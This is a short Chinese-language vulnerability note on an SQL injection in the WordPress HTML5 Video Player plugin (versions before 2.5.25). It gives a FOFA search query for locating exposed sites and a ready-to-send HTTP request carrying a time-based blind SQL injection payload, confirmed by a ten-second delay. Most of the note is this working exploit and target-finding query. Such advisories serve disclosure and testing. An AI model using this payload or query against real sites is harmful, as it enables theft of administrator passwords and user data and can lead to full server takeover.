W5-2WordPress-WordPressplugin-SQL

漏洞描述：

WordPress Plugin HTML5 Video Player 插件 get_view 函数中 id 参数存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

```
HTML5 Video Player < 2.5.25
```

网络测绘：

fofa语法：

FOFA："wordpress" && body="html5-video-player"

漏洞复现：

payload：

```
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
```

效果图:
延时10秒